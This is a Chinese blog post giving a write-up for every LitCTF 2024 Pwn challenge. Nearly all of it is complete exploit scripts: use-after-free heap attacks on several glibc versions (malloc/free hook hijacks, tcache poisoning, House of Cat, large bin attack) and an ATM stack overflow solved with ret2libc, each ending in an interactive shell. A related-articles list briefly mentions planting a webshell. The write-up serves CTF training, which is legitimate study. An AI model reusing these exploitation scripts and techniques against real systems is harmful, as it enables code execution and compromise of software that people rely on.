[Litctf 2024] Pwn WP 全部题目

最新推荐文章于 2024-06-06 19:36:54 发布
最新推荐文章于 2024-06-06 19:36:54 发布
阅读量853 收藏 11
点赞数 13
分类专栏： CTF Pwn 文章标签： 安全 网络 网络安全 python 汇编
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_29912475/article/details/139423714
版权
Pwn 同时被 2 个专栏收录
45 篇文章 3 订阅
订阅专栏
CTF
7 篇文章 0 订阅
订阅专栏

Index

前言

比赛时边打游戏边写题，最后一分钟把ATM写了，2.39的堆是之后复现的。

难度对于新生来说确实可能高了点，但是感觉还行，题目没啥限制，主要考点是不同版本下 Libc 的打法。

Heap 2.23

注：Heap 除了2.29都是一样的代码，无非就是Libc版本不同。所有题目的漏洞都是UAF。因此我一笔带过。

思路

劫持 __malloc_hook 打 one_gadget 。使用 realloc 调整栈帧。

EXP

from PwnModules import *

io, elf = get_utils('./heap_2.23', False, 'node2.anna.nssctf.cn', 28547)
init_env(1, 'info')
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.23-11.3/libc-2.23.so')


def add(idx, size):
    io.sendlineafter(b'>>', b'1')
    io.sendlineafter(b'idx? ', str(idx))
    io.sendlineafter(b'size? ', str(size))


def free(idx):
    io.sendlineafter(b'>>', b'2')
    io.sendlineafter(b'idx? ', str(idx))


def show(idx):
    io.sendlineafter(b'>>', b'3')
    io.sendlineafter(b'idx? ', str(idx))


def edit(idx, content):
    io.sendlineafter(b'>>', b'4')
    io.sendlineafter(b'idx? ', str(idx))
    io.sendlineafter(b'content : ', content)


add(0, 0x480)
add(1, 0x10)
free(0)
show(0)

libc_base = leak_addr(2, io) - 0x3c4b78
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']

one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
one_gadget = libc_base + one_gadget[3]
show_addr('libc_base', libc_base)
show_addr('free_hook', malloc_hook)
show_addr('one_gadget', one_gadget)
show_addr('malloc_hook - 0x23', malloc_hook - 0x23)

add(7, 0x480)
add(2, 0x60)
free(2)

edit(2, p64(malloc_hook - 0x23))
add(3, 0x60)
add(4, 0x60)
edit(4, b'\x00' * 0xb + p64(one_gadget) + p64(realloc + 6))
add(5, 0x10)

io.interactive()

Heap 2.27

思路

由于多了 Tcache，比 Fastbin 利用起来还方便，直接暴力劫持 __free_hook。

EXP

from PwnModules import *

io, elf = get_utils('./heap_2.27', False, 'node2.anna.nssctf.cn', 28835)
init_env(1, 'info')
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.27-1.6/libc-2.27.so')


def add(idx, size):
    io.sendlineafter(b'>>', b'1')
    io.sendlineafter(b'idx? ', str(idx))
    io.sendlineafter(b'size? ', str(size))


def free(idx):
    io.sendlineafter(b'>>', b'2')
    io.sendlineafter(b'idx? ', str(idx))


def show(idx):
    io.sendlineafter(b'>>', b'3')
    io.sendlineafter(b'idx? ', str(idx))


def edit(idx, content):
    io.sendlineafter(b'>>', b'4')
    io.sendlineafter(b'idx? ', str(idx))
    io.sendlineafter(b'content : ', content)


add(0, 0x480)
add(1, 0x10)
add(8, 0x10)
edit(8, b'/bin/sh\x00')
free(0)
show(0)

libc_base = leak_addr(2, io) - 0x3ebca0
show_addr('libc_base', libc_base)

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

add(9, 0x480)
add(2, 0x10)
free(2)
edit(2, p64(free_hook))
add(3, 0x10)
add(4, 0x10)
edit(4, p64(system))

free(8)

io.interactive()

Heap 2.31 (__free_hook)

思路

2.31 新增了 Tcache Bin Count 检测，程序会检测 mp_.tcache_count ，如果数量不对则会报错退出
解决办法也很简单 使用 Double Free 或者再申请一个即可。

EXP

from PwnModules import *

io, elf = get_utils('./heap_2.31', False, 'node1.anna.nssctf.cn', 28504)
init_env(1, 'debug')
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.31-9.15/libc-2.31.so')


def add(idx, size):
    io.sendlineafter(b'>>', b'1')
    io.sendlineafter(b'idx? ', str(idx))
    io.sendlineafter(b'size? ', str(size))


def free(idx):
    io.sendlineafter(b'>>', b'2')
    io.sendlineafter(b'idx? ', str(idx))


def show(idx):
    io.sendlineafter(b'>>', b'3')
    io.sendlineafter(b'idx? ', str(idx))


def edit(idx, content):
    io.sendlineafter(b'>>', b'4')
    io.sendlineafter(b'idx? ', str(idx))
    io.sendlineafter(b'content : ', content)


add(0, 0x480)
add(1, 0x10)
add(6, 0x10)
edit(6, b'/bin/sh\x00')
free(0)
show(0)

libc_base = leak_addr(2, io) - 0x1ecbe0
show_addr('libc_base', libc_base)

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

add(9, 0x480)

add(2, 0x50)
add(3, 0x50)
free(2)
edit(2, p64(0))
free(2)

edit(2, p64(free_hook))
add(4, 0x50)
add(5, 0x50)
edit(5, p64(system))

free(6)

io.interactive()

Heap 2.31 (House of Cat)

思路

打 House of Cat，劫持 _IO_list_all 结构体的 chain 刷新伪造的IO结构体来GetShell。

EXP

from PwnModules import *

io, elf = get_utils('./heap_2.31', True, 'node2.anna.nssctf.cn', 28547)
init_env(1, 'debug')
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.31-9.15/libc-2.31.so')


def add(idx, size):
    io.sendlineafter(b'>>', b'1')
    io.sendlineafter(b'idx? ', str(idx))
    io.sendlineafter(b'size? ', str(size))


def free(idx):
    io.sendlineafter(b'>>', b'2')
    io.sendlineafter(b'idx? ', str(idx))


def show(idx):
    io.sendlineafter(b'>>', b'3')
    io.sendlineafter(b'idx? ', str(idx))


def edit(idx, content):
    io.sendlineafter(b'>>', b'4')
    io.sendlineafter(b'idx? ', str(idx))
    io.sendlineafter(b'content : ', content)


add(0, 0x480)
add(9, 0x10)
free(0)
show(0)

libc_base = leak_addr(2, io) - 0x1ecbe0
system = libc_base + libc.sym['system']

show_addr('libc_base', libc_base)

fake_io_addr = libc_base + libc.sym['_IO_2_1_stderr_']
io_list_all = libc_base + libc.sym['_IO_list_all']
show_addr('fake_io_addr', fake_io_addr)

add(6, 0x480)

free(9)
edit(9, b'A' * 8)
show(9)

io.recvuntil(b'A' * 8)
heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0xa

add(10, 0x10)

add(2, 0x120)
add(3, 0x120)
free(2)
edit(2, p64(0))
free(2)

Fake_IO_File_Structure = IO_FILE_plus_struct()
Fake_IO_File_Structure.flags = b'/bin/sh\x00'
Fake_IO_File_Structure._IO_save_base = p64(1)                                           # RCX
Fake_IO_File_Structure._IO_backup_base = p64(heap_base + 0x9b0 + 0x120 - 0xa0)               # mov    rdx, qword ptr [rax + 0x20]
Fake_IO_File_Structure._IO_save_end = p64(system)                                       # call   qword ptr [rax + 0x18]
Fake_IO_File_Structure._wide_data = p64(heap_base + 0x9b0 + 0x30)                            # mov    rax, qword ptr [rdi + 0xa0]
Fake_IO_File_Structure._offset = 0
Fake_IO_File_Structure._vtable_offset = 0
Fake_IO_File_Structure._mode = 1
Fake_IO_File_Structure.vtable = p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x30)

Fake_IO_File_Structure = bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure += p64(0) * 6
Fake_IO_File_Structure += p64(heap_base + 0x9b0 + 0x40)

FakeIOFS = IO_FILE_plus_struct()
FakeIOFS.flags = p64(heap_base + 0x9b0)
FakeIOFS.chain = p64(heap_base + 0x9b0)
FakeIOFS._mode = 0
FakeIOFS = bytes(FakeIOFS)

edit(2, p64(io_list_all))
add(4, 0x120)
add(5, 0x120)

debug(io)
edit(5, FakeIOFS)
add(8, 0x120)
edit(8, Fake_IO_File_Structure)

print(f"[*] Len: {hex(len(Fake_IO_File_Structure))}")

io.sendlineafter(b'>>', b'5')

io.interactive()

Heap 2.35 (House of Cat)

思路

同上，只不过多了 Tcache Key 检测而已，直接泄露位移即可，甚至更方便构造结构体了。

EXP

from PwnModules import *

io, elf = get_utils('./heap_2.35', True, 'node3.anna.nssctf.cn', 28755)
init_env(1, 'debug')
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.35-3.7/libc.so.6')


def add(idx, size):
    io.sendlineafter(b'>>', b'1')
    io.sendlineafter(b'idx? ', str(idx))
    io.sendlineafter(b'size? ', str(size))


def free(idx):
    io.sendlineafter(b'>>', b'2')
    io.sendlineafter(b'idx? ', str(idx))


def show(idx):
    io.sendlineafter(b'>>', b'3')
    io.sendlineafter(b'idx? ', str(idx))


def edit(idx, content):
    io.sendlineafter(b'>>', b'4')
    io.sendlineafter(b'idx? ', str(idx))
    io.sendlineafter(b'content : ', content)


add(0, 0x480)
add(9, 0x10)
free(0)
show(0)

libc_base = leak_addr(2, io) - 0x21ace0
system = libc_base + libc.sym['system']

show_addr('libc_base', libc_base)

fake_io_addr = libc_base + libc.sym['_IO_2_1_stderr_']
io_list_all = libc_base + libc.sym['_IO_list_all']
show_addr('fake_io_addr', fake_io_addr)

add(6, 0x480)

free(9)
show(9)

io.recvuntil(b'content : ')
heap_base = u64(io.recv(5).ljust(8, b'\x00')) << 12
heap_key = heap_base >> 12
print(hex(heap_key))

add(10, 0x10)

add(2, 0x120)
add(3, 0x120)
free(2)
edit(2, p64(0))
free(2)

Fake_IO_File_Structure = IO_FILE_plus_struct()
Fake_IO_File_Structure.flags = b'/bin/sh\x00'
Fake_IO_File_Structure._IO_save_base = p64(1)                                           # RCX
Fake_IO_File_Structure._IO_backup_base = p64(heap_base + 0x9b0 + 0x120 - 0xa0)          # mov    rdx, qword ptr [rax + 0x20]
Fake_IO_File_Structure._IO_save_end = p64(system)                                       # call   qword ptr [rax + 0x18]
Fake_IO_File_Structure._wide_data = p64(heap_base + 0x9b0 + 0x30)                       # mov    rax, qword ptr [rdi + 0xa0]
Fake_IO_File_Structure._offset = 0
Fake_IO_File_Structure._vtable_offset = 0
Fake_IO_File_Structure._mode = 1
Fake_IO_File_Structure.vtable = p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x30)

Fake_IO_File_Structure = bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure += p64(0) * 6
Fake_IO_File_Structure += p64(heap_base + 0x9b0 + 0x40)

FakeIOFS = IO_FILE_plus_struct()
FakeIOFS.flags = p64(heap_base + 0x9b0)
FakeIOFS.chain = p64(heap_base + 0x9b0)
FakeIOFS._mode = 0
FakeIOFS = bytes(FakeIOFS)

edit(2, p64(heap_key ^ io_list_all))
add(4, 0x120)
add(5, 0x120)
edit(5, FakeIOFS)
add(8, 0x120)
edit(8, Fake_IO_File_Structure)

print(f"[*] Len: {hex(len(Fake_IO_File_Structure))}")

debug(io)

io.sendlineafter(b'>>', b'5')

io.interactive()

Heap 2.39 (House of Cat)

思路

唯一的限制就是限制了只能申请 Large Bin。
通过使用 Large Bin Attack 劫持 _IO_list_all 然后打 House of Cat 即可 GetShell 。

EXP

from PwnModules import *

io, elf = get_utils('./heap_2.39', True, 'node3.anna.nssctf.cn', 28755)
init_env(1, 'debug')
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.39-8/libc.so.6')


def add(idx, size):
    io.sendlineafter(b'>>', b'1')
    io.sendlineafter(b'idx? ', str(idx))
    io.sendlineafter(b'size? ', str(size))


def free(idx):
    io.sendlineafter(b'>>', b'2')
    io.sendlineafter(b'idx? ', str(idx))


def show(idx):
    io.sendlineafter(b'>>', b'3')
    io.sendlineafter(b'idx? ', str(idx))


def edit(idx, content):
    io.sendlineafter(b'>>', b'4')
    io.sendlineafter(b'idx? ', str(idx))
    io.sendlineafter(b'content : ', content)


add(0, 0x450)
add(1, 0x500)
add(2, 0x430)

free(0)

add(3, 0x1000)

show(0)
main_arena = leak_addr(2, io)
libc_base = main_arena - 0x203f20
show_addr('libc_base', libc_base)

_IO_list_all = libc_base + libc.sym['_IO_list_all']
system = libc_base + libc.sym['system']

edit(0, b'A' * 0x10)
show(0)
io.recvuntil(b'content : ')
io.recvuntil(b'A' * 0x10)

heap_addr = u64(io.recv(6).ljust(8, b'\x00'))
heap_base = heap_addr - 0x20A
show_addr('heap_base', heap_base)

edit(0, p64(main_arena) * 2 + p64(heap_addr) + p64(_IO_list_all - 0x20))

free(2)

add(4, 0x1000)

FakeIoListAddr = heap_base + 0xC00 + 0x10
FakeIoAddr = heap_base + 0x290
show_addr('FakeIoListAddr', FakeIoListAddr)
show_addr('FakeIoAddr', FakeIoAddr)

Fake_IO_File_Structure = IO_FILE_plus_struct()
Fake_IO_File_Structure.flags = b'/bin/sh\x00'
Fake_IO_File_Structure._IO_save_base = p64(1)                                           # RCX
Fake_IO_File_Structure._IO_backup_base = p64(FakeIoAddr + 0x120 - 0xa0)               # mov    rdx, qword ptr [rax + 0x20]
Fake_IO_File_Structure._IO_save_end = p64(system)                                       # call   qword ptr [rax + 0x18]
Fake_IO_File_Structure._wide_data = p64(FakeIoAddr + 0x30)                            # mov    rax, qword ptr [rdi + 0xa0]
Fake_IO_File_Structure._offset = 0
Fake_IO_File_Structure._vtable_offset = 0
Fake_IO_File_Structure._mode = 1
Fake_IO_File_Structure.vtable = p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x30)

Fake_IO_File_Structure = bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure += p64(0) * 6
Fake_IO_File_Structure += p64(FakeIoAddr + 0x40)

FakeIOFS = IO_FILE_plus_struct()
FakeIOFS.flags = p64(FakeIoAddr)
FakeIOFS.chain = p64(FakeIoAddr)
FakeIOFS._mode = 0
FakeIOFS = bytes(FakeIOFS)

add(5, 0x1000)

edit(2, p64(0) * 11 + p64(FakeIoAddr) + p64(0) * 9 + p64(1))
edit(5, Fake_IO_File_Structure)

debug(io)

io.sendlineafter(b'>>', b'5')

io.interactive()

ATM

思路

简单的栈溢出题目，漏洞点位于 deposit
在这里插入图片描述
输入 -1 整数溢出，然后输入 5 来获取 printf 的真实地址，通过这个地址来泄露 Libc，打 ret2libc。

EXP

from PwnModules import *

io, elf = get_utils('./ATM', False, 'node2.anna.nssctf.cn', 28777)
init_env(1, 'debug')
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.35-3.7/libc.so.6')

io.sendlineafter(b'password:\n', b'Decline')

io.sendlineafter(b'4.Exit\n', b'3')
io.sendline(b'-1')

io.sendlineafter(b'4.Exit\n', b'5')

io.recvuntil(b'gift:')
printf_addr = recv_int_addr(io, 14)
show_addr('printf', printf_addr)

aio = libc_search('printf', printf_addr, True)

rdi = 0x401233
ret = 0x40101a

Padding = b'A' * (0x160 + 0x08)
Payload = Padding + p64(ret) + p64(rdi) + p64(aio[2]) + p64(aio[1])

io.send(Payload)

io.interactive()
Red-Leaves
关注
  • 13
    点赞
  • 踩
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
LitCTF2024 郑州轻工业大学首届网络安全赛 WP 部分_[litctf 2024]vim yyds
2301_79054215的博客
04-13 1373
当我学到一定基础，有自己的理解能力的时候，会去阅读一些前辈整理的书籍或者手写的笔记资料，这些笔记详细记载了他们对一些技术点的理解，这些理解是比较独到，可以学到不一样的思路。网安所有方向的技术点做的整理，形成各个领域的知识点汇总，它的用处就在于，你可以按照上面的知识点去找对应的学习资源，保证自己学得较为全面。观看零基础学习视频，看视频学习是最快捷也是最有效果的方式，跟着视频中老师的思路，从基础到深入，还是很容易入门的。(img-UjorHS4E-1712969539868)]发现第一条凤凰网报道中提到了。
LitCTF 2024 pwn AK
YX-hueimie
06-02 1415
探姬姐姐办的比赛，所以就打了一下。尽管是“新生赛”，但pwn方向并不是很新生，5道堆题+1道栈题，可能是出题的师傅比较少吧，应该是只有两位。我了解到这个比赛的时候已经要开赛了，投稿也来不及，要不然就投几道我的得意门生了。
LitCTF2024
2301_80048347的博客
06-01 1102
pythonEXE附件拖到和pyins一个目录下找到ezpy加后缀pyc在第一个文件里找一个文件看字节戳，复制打开ezre把ezpy 加上.pyc然后执行python3.11的用不了，去在线网站，用不了啊使用pycdc工具，严格来说无法还原为python文件，但能看到其源代码将pycdc.exe文件跟要还原的pyc文件放入同一个文件夹，在命令行输入命令可以在命令行显示pyc文件内的python源代码如果想要保存到一个文件中：先用在线网站吧。
【2024】LitCTF
最新发布
qq_66013948的博客
06-06 1004
​ 题目描述：laosebi，无脑LSB隐写，全取最低位的LSB隐写，拿到flag。有大佬直接秒了，在这里提一下。
LitCTF 2024]作业管理系统，【面试必备】
2401_84181221的博客
04-10 395
然后尝试上传文件，但是上传的文件看不到，不显示，于是使用创建文件，创建的文件在主页没有有显示，直接在url上加上文件名字，一篇空白如图所示然后返回编辑创建的文件，在文件里放一个木马并且保存，然后使用蚁剑来连接，在根目录找到flag文件查看获取到flag。
PWN 强网杯2020siri 题目
09-21
PWN 强网杯2020siri 题目
PWN测试题目
07-18
CTF（Capture The Flag）是一种网络安全竞赛，其中PWN类题目通常是最具挑战性的部分，旨在锻炼选手的逆向工程、漏洞挖掘和利用能力。下面我们将深入探讨PWN测试题目中的关键知识点： 1. **栈溢出**：这是最常见的...
pwn入门题目汇总.rar
09-01
本压缩包“pwn入门题目汇总.rar”显然是为初学者准备的一系列练习，旨在帮助他们了解和掌握pwn的基本概念和技术。 在学习pwn的过程中，首先需要理解的是计算机内存的工作原理，特别是栈、堆和全局变量的布局。栈是...
pwn入门题目+exp
01-26
初级的ROP，附有完整exp，可以学一下
pwn-200题目文件
02-16
pwn-200题目文件
LitCTF 2024（公开赛道）——WP
ASD830的博客
06-02 1733
目录Misc涐贪恋和伱、甾―⑺dé毎兮毎秒你说得对，但__盯帧珍珠Everywhere We Go关键，太关键了!女装照流量原铁，启动！舔到最后应有尽有The loveWebexx一个....池子？SAS - Serializing Authentication System浏览器也能套娃？高亮主题(划掉)背景查看器百万美元的诱惑Reverse编码喵Cryptocommon_primes题目只给了一张图片，zesteg秒了，flag：LitCTF{e8f7b267-9c45-4c0e-9d1e-13fc5b
LitCTF2024WP
qq_67760645的博客
06-02 921
LitCTF2024的解题思路
[LitCTF 2024 公开赛道] Crypto/PWN/Rev
weixin_52640415的博客
06-03 1201
libc-2.39 mp_.tcache_max_bins->environ->pie->ptr_list->ROP
LitCTF 2024]作业管理系统(1)，那些BAT大厂的网络安全面试官到底在想些什么
2301_79054215的博客
04-13 912
Python编程学习，学习内容包含：语法、正则、文件、 网络、多线程等常用库，推荐《Python核心编程》，不要看完；在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。然后尝试上传文件，但是上传的文件看不到，不显示，于是使用创建文件，创建的文件在主页没有有显示，直接在url上加上文件名字，一篇空白如图所示。创建文件，然后编辑文件，在文件里用
BUUCTF之PWN(WP1)
NANMUZN的博客
01-15 650
buuctf pwn
ISCTF PWN WP 2022
GeekCmore的博客
11-07 1449
ISCTF PWN 部分题解 WP
CTF(PWN基础笔记)
WuXianYo_的博客
03-17 231
8）完成计算后，执行pop ebp，因被调函数（子函数）不存在局部变量，所以在最后esp与ebp在同一个指向上，不需要leave指令移动esp到ebp（若存在局部变量，则esp与ebp不在同一点，因为需要留出栈空间存放变量），pop ebp将esp指向的父函数的原先的ebp值存入ebp中，所以ebp会回到原先指向的位置，esp再自动抬高一个字长，最后执行return指令，将下方的esp再抬高一个字长,并将esp原来指向的值存入esp中。6）执行mov，将esp的值赋给sbp，把ebp抬到新的栈底.
pwn栈溢出题目归纳
08-30
这道pwn栈溢出题目归纳如下： 1. 与其他题目不同的地方是会对内容进行与(&)或(|)操作并泄露一个低12位（buf地址的后3个字节）。 2. 猜测思路是泄露unsorted bin地址，计算malloc_hook地址并将shell写入malloc hook，...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值